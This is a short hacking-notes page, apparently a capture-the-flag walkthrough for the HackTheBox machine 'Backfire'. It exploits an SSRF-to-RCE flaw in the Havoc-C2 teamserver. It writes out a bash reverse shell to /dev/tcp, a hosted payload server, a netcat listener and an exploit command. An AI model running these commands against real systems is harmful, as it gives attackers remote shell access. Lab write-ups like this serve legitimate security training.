> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/havoc-c2-40056.md).
# Havoc-C2 - 40056
Havoc-C2 SSRF to RCE workflow with hosted payload delivery and reverse shell access.
{% hint style="info" %}
Havoc-C2 is an open-source command and control (C2) tool designed for penetration testing and attack simulations. It allows cybersecurity professionals to manage malicious agents implanted on compromised systems, plan attacks, and exfiltrate data, in a controlled environment, to assess the security of IT infrastructures.
{% endhint %}
{% embed url="" %}
To exploit the SSRF vulnerability in Havoc, create a `payload.sh` file containing the following code:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```
Set up a web server to host the payload:
```bash
python3 -m http.server 80
```
Listen on port 4444 with netcat to receive the reverse connection:
```bash
nc -nlvp 4444
```
Modify the exploit script with the required target information, then run it:
```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```
**User access:**
The **ilya** user can be used to connect to the target machine.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ports-and-services/havoc-c2-40056.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)